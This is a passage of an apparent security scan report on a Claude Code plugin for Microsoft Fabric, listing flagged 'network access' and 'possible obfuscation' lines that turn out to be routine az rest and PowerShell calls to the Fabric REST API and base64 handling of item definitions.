    az rest --method post `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/pause" `
  • Network accessline 171
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/pause" `
  • Network accessline 172
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 182
    try {   az rest --method post `     --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume" `
  • Network accessline 183
    az rest --method post      --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume"
  • Network accessline 184
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume" `
  • Network accessline 185
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 206
    az rest --method DELETE \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \
  • Network accessline 207
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \
  • Network accessline 208
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 219
    - **Always base64-encode** the `eventstream.json` payload before submitting definitions - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls
  • Network accessline 220
    - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls
  • Network accessline 231
    - Set `retentionTimeInDays` explicitly rather than relying on defaults - Validate cloud connections before referencing them in source configurations - When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureS
  • Network accessline 232
    - Validate cloud connections before referencing them in source configurations - When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureServiceBus`, `AzureSQLDBCDC`, `MySQLCDC`, `Mqtt`, `SolacePubSub`, most n
  • Network accessline 233
    - When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureServiceBus`, `AzureSQLDBCDC`, `MySQLCDC`, `Mqtt`, `SolacePubSub`, most non-`SampleData`/`CustomEndpoint` sources) and the user has not supplied one, f
  • Network accessline 260
    # 1. Discover workspace ID $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 261
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 262
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 263
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 270
    [IO.File]::WriteAllText($bodyFile, $esBody, [System.Text.UTF8Encoding]::new($false)) $created = az rest --method post `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 271
    $created = az rest --method post    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams"
  • Network accessline 272
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 273
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 312
    [Credential-related source omitted]
  • Network accessline 313
    [Credential-related source omitted]
  • Network accessline 314
    [Credential-related source omitted]
  • Network accessline 315
    $ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" `
  • Network accessline 316
    $response = Invoke-WebRequest @ps5 -Method Post    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition"
  • Network accessline 317
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" `
  • Network accessline 351
    # 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 352
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 353
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 358
    $esId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 359
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 360
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 364
    [Credential-related source omitted]
  • Network accessline 365
    [Credential-related source omitted]
  • Network accessline 366
    $ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" `
  • Network accessline 367
    $response = Invoke-WebRequest @ps5 -Method Post    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition"
  • Network accessline 368
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" `
  • Possible obfuscationline 400
    [Convert]::FromBase64String($esPart.payload)) | ConvertFrom-Json
  • Network accessline 449
    $ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" `
  • Network accessline 450
    $response = Invoke-WebRequest @ps5 -Method Post    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition"
  • Network accessline 451
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" `
  • Network accessline 484
    # 1. Discover workspace ID $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 485
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 486
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 487
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 557
    [Credential-related source omitted]
  • Network accessline 558
    [Credential-related source omitted]
  • Network accessline 559
    $ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items" `
  • Network accessline 560
    $response = Invoke-WebRequest @ps5 -Method Post    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items"
  • Network accessline 561
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items" `
  • Network accessline 593
    # 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 594
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 595
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 596
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 600
    $esId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 601
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 602
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 606
    # 2. Delete az rest --method delete `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId" `
  • Network accessline 607
    az rest --method delete    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId"
  • Network accessline 608
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId" `
  • Network accessline 609
    --resource "https://api.fabric.microsoft.com"

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli/references/consumption.md

  • Network accessline 46
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 47
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 48
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 54
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 55
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 56
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 63
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \
  • Network accessline 64
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \
  • Network accessline 65
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 78
    > **API Note**: The Eventstream Definition API uses `POST .../getDefinition`, not `GET .../definition`. This follows the Fabric Items Definition pattern. See [official docs](https://learn.microsoft.com/en-us/fabric/real-time-intelligence/ev
  • Network accessline 81
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \
  • Network accessline 82
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \
  • Network accessline 83
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 92
    # Using jq + base64 (Linux; on macOS use base64 -D instead of -d) az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \
  • Network accessline 93
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition"
  • Network accessline 94
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \
  • Network accessline 95
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 102
    # PowerShell (Windows) $def = az rest --method POST `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition" `
  • Network accessline 103
    $def = az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition"
  • Network accessline 104
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition" `
  • Network accessline 105
    --resource "https://api.fabric.microsoft.com" `
  • Possible obfuscationline 108
    [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json | ConvertTo-Json -Depth 10
  • Network accessline 133
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \
  • Network accessline 134
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \
  • Network accessline 135
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 141
    # Extract the sourceId for a Custom Endpoint source (use name filter if multiple exist) SOURCE_ID=$(az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \
  • Network accessline 142
    SOURCE_ID=$(az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology"
  • Network accessline 143
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \
  • Network accessline 144
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 152
    # PowerShell — extract sourceId for Custom Endpoint (fails clearly if multiple exist) $topology = az rest --method GET `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology" `
  • Network accessline 153
    $topology = az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology"
  • Network accessline 154
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology" `
  • Network accessline 155
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 167
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/sources/${SOURCE_ID}/connection" \
  • Network accessline 168
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/sources/${SOURCE_ID}/connection" \
  • Network accessline 169
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 173
    az rest --method GET `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/sources/$sourceId/connection" `
  • Network accessline 174
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/sources/$sourceId/connection" `
  • Network accessline 175
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 244
    - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls
  • Network accessline 246
    - **Always base64-decode** the definition payload before inspecting topology (not needed for the Topology API — that returns JSON directly) - **For Custom Endpoint connection details, use the Topology API** — `POST .../getDefinition` return
  • Network accessline 247
    - **For Custom Endpoint connection details, use the Topology API** — `POST .../getDefinition` returns empty properties; call `GET .../topology` to get the sourceId, then `GET .../sources/{sourceId}/connection` - **Use POST for definition en
  • Network accessline 248
    - **Use POST for definition endpoints** — `POST .../getDefinition` (not GET), `POST .../updateDefinition` (not PUT). See [official docs](https://learn.microsoft.com/en-us/fabric/real-time-intelligence/event-streams/api-get-eventstream-defin
  • Network accessline 284
    # 1. Discover workspace ID $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 285
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 286
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 292
    $allItems = @() $resp = az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 293
    $resp = az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams"
  • Network accessline 294
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 295
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 298
    $resp = az rest --method get        --url $resp.continuationUri        --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 300
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 311
    # 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 312
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 313
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 314
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 318
    $esId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 319
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 320
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 324
    # 2. Get topology (returns JSON directly — no base64 decoding needed) $topo = az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 325
    $topo = az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology"
  • Network accessline 326
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 327
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 357
    # 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 358
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 359
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 360
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 364
    $esId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items?type=Eventstream" `
  • Network accessline 365
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items?type=Eventstream" `
  • Network accessline 366
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 370
    [Credential-related source omitted]
  • Network accessline 371
    [Credential-related source omitted]
  • Network accessline 372
    $ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" `
  • Network accessline 373
    $response = Invoke-WebRequest @ps5 -Method Post    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition"
  • Network accessline 374
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" `
  • Possible obfuscationline 406
    [Convert]::FromBase64String($propsPart.payload)) | ConvertFrom-Json
  • Possible obfuscationline 414
    [Convert]::FromBase64String($esPart.payload)) | ConvertFrom-Json
  • Network accessline 438
    # 2. Get topology to find Custom Endpoint source ID $topo = az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 439
    $topo = az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology"
  • Network accessline 440
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 441
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 447
    # 3. Get connection metadata $conn = az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection" `
  • Network accessline 448
    $conn = az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection"
  • Network accessline 449
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection" `
  • Network accessline 450
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 464
    # 2. Get topology $topo = az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 465
    $topo = az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology"
  • Network accessline 466
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 467
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring.md

  • Network accessline 16
    | Finding Workspaces and Items in Fabric         | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric)                            | **Mandatory** — resolve workspace
  • Network accessline 17
    | Fabric Topology & Key Concepts                 | [COMMON-CORE.md § Fabric Topology & Key Concepts](../../../common/COMMON-CORE.md#fabric-topology--key-concepts)                                           | Workspace → Item hierarchy       
  • Network accessline 18
    | Authentication & Token Acquisition             | [COMMON-CORE.md § Authentication & Token Acquisition](../../../common/COMMON-CORE.md#authentication--token-acquisition)                                   | Use `https://api.fabric.microsoft
  • Network accessline 21
    | Rate Limiting & Throttling                     | [COMMON-CORE.md § Rate Limiting & Throttling](../../../common/COMMON-CORE.md#rate-limiting--throttling)                                                   |                                  
  • Network accessline 22
    | Authentication Recipes                         | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes)                                                            | `az login`; token acquisition    
  • Network accessline 23
    | Fabric Control-Plane API via `az rest`         | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest)                                | **Always** pass `--resource https
  • Network accessline 81
    > 2. **Build JSON with `jq`** instead of `ConvertTo-Json` where possible — `jq -nc` produces deterministic, compact JSON without PowerShell serialization quirks: >    ```powershell >    $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Si
  • Network accessline 82
    >    ```powershell >    $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Site" '{id:$id,name:$name}' >    ```
  • Network accessline 83
    >    $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Site" '{id:$id,name:$name}'
  • Network accessline 96
    - Sign in + acquire the Fabric control-plane token → [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) (always `--resource https://api.fabric.microsoft.com`).
  • Network accessline 135
    > **Prefer polling with `x-ms-operation-id` over the raw `Location` header for Ontology create/update.** The public [Fabric LRO contract](https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation) supports polling ei
  • Network accessline 138
    # Bash — capture x-ms-operation-id from az rest --verbose stderr OP_ID=$(az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \
  • Network accessline 139
    OP_ID=$(az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items"
  • Network accessline 140
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 147
    while :; do   OP=$(az rest --method GET \     --url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}" \
  • Network accessline 148
    OP=$(az rest --method GET      --url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}"
  • Network accessline 149
    --url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}" \
  • Network accessline 150
    --resource "https://api.fabric.microsoft.com")
  • Network accessline 164
    # PowerShell — capture x-ms-operation-id from az rest --verbose stderr $result = az rest --method POST `   --resource "https://api.fabric.microsoft.com" `
  • Network accessline 165
    $result = az rest --method POST    --resource "https://api.fabric.microsoft.com"
  • Network accessline 166
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 167
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" `
  • Network accessline 175
    Start-Sleep -Seconds 5   $op = az rest --method GET `     --url "https://api.fabric.microsoft.com/v1/operations/$opId" `
  • Network accessline 176
    $op = az rest --method GET      --url "https://api.fabric.microsoft.com/v1/operations/$opId"
  • Network accessline 177
    --url "https://api.fabric.microsoft.com/v1/operations/$opId" `
  • Network accessline 178
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 308
    | New upstream rows not appearing | No refresh performed | Trigger a manual graph-model refresh on the ontology item | | Timeseries widget shows no data | `timestampColumnName` not set, or timestamp column is not a supported date/time type 
  • Network accessline 309
    | Timeseries widget shows no data | `timestampColumnName` not set, or timestamp column is not a supported date/time type | Set `timestampColumnName` in the TimeSeries binding; ensure column type is `datetime` / `date` / `timestamp` | | `get
  • Network accessline 310
    | `getDefinition` returns `200` or `202` | LRO-capable response (may be inline envelope or operation-id) | If `202`, poll the operation until `Succeeded`, then `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result`; if `2
  • Network accessline 311
    | LRO poll returns `401`/`403`, or the `Location` header host is `*.analysis.windows.net` | The create/update `Location` redirects to an Analysis Services host; polling it with `az rest --resource https://api.fabric.microsoft.com` re-auths 

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/ONTOLOGY-AUTHORING-CORE.md

  • Network accessline 210
    "workspaceId": "580f410e-733d-43bd-8a87-be12b536f7ff",       "itemId": "a1f22aaa-b5c2-4d12-a3d4-8821c50a90cd",       "clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com",
  • Network accessline 211
    "itemId": "a1f22aaa-b5c2-4d12-a3d4-8821c50a90cd",       "clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com",       "databaseName": "Zava_Telemetry",
  • Network accessline 212
    "clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com",
  • Network accessline 295
    { "displayText": "Install guide", "url": "https://example.com/guide" }
  • Network accessline 323
    All calls target `https://api.fabric.microsoft.com` and require the `https://api.fabric.microsoft.com` token audience.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/authoring-mechanics.md

  • Network accessline 84
    1. A `.platform` JSON with `{ "metadata": { "type": "Ontology", "displayName": "<name>" } }`. 2. An empty `definition.json` of `{}`. The base64 encoding of `{}` is exactly `e30=` — do not add whitespace, newlines, or BOM. 3. Base64-encode e
  • Network accessline 85
    2. An empty `definition.json` of `{}`. The base64 encoding of `{}` is exactly `e30=` — do not add whitespace, newlines, or BOM. 3. Base64-encode each, build the envelope, `POST` to `https://api.fabric.microsoft.com/v1/workspaces/{WS_ID}/ite
  • Network accessline 86
    3. Base64-encode each, build the envelope, `POST` to `https://api.fabric.microsoft.com/v1/workspaces/{WS_ID}/items`.
  • Network accessline 87
    4. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` (from the `x-ms-operation-id` header) until `Succeeded`; capture the new ontology item ID.
  • Network accessline 91
    > ```bash > ONTO_ID=$(az rest --method GET \ >   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \
  • Network accessline 92
    > ONTO_ID=$(az rest --method GET \ >   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ >   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 93
    >   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \
  • Network accessline 94
    >   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 96
    > ``` > > To capture the LRO operation id from `az rest`, use `--verbose` and parse the `x-ms-operation-id` header from stderr, then poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` — see [authoring mode § LRO Header Capt
  • Network accessline 98
    > To capture the LRO operation id from `az rest`, use `--verbose` and parse the `x-ms-operation-id` header from stderr, then poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` — see [authoring mode § LRO Header Capture](../
  • Network accessline 317
    > **`getDefinition` typically returns 202 (LRO)**, not 200 with inline data. You must: > 1. Capture the `x-ms-operation-id` header from the 202 response > 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status:
  • Network accessline 318
    > 1. Capture the `x-ms-operation-id` header from the 202 response > 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status: "Succeeded"` > 3. `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/re
  • Network accessline 319
    > 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status: "Succeeded"`
  • Network accessline 320
    > 3. `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result` to retrieve the actual definition envelope > > Poll the Fabric `operations` endpoint on `api.fabric.microsoft.com` rather than following the raw `Location` heade
  • Network accessline 322
    > Poll the Fabric `operations` endpoint on `api.fabric.microsoft.com` rather than following the raw `Location` header — the latter redirects to an `analysis.windows.net` host that fails `az rest --resource https://api.fabric.microsoft.com` 
  • Network accessline 329
    #    script in definition-script-templates.md. az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 330
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition"
  • Network accessline 331
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 332
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 339
    # 3. Send the updated envelope (also LRO — poll the Location header) az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition" \
  • Network accessline 340
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition"
  • Network accessline 341
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition" \
  • Network accessline 342
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 347
    Both `createItem` and `updateDefinition` return **long-running operations**. `getDefinition` is also LRO-capable — it may return the envelope directly (`200 OK`) **or** a `202 Accepted` carrying an `x-ms-operation-id` header; in the 202 cas
  • Network accessline 359
    # returns 202, fall back to the LRO-aware script in definition-script-templates.md. az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 360
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition"
  • Network accessline 361
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 362
    --resource "https://api.fabric.microsoft.com" \

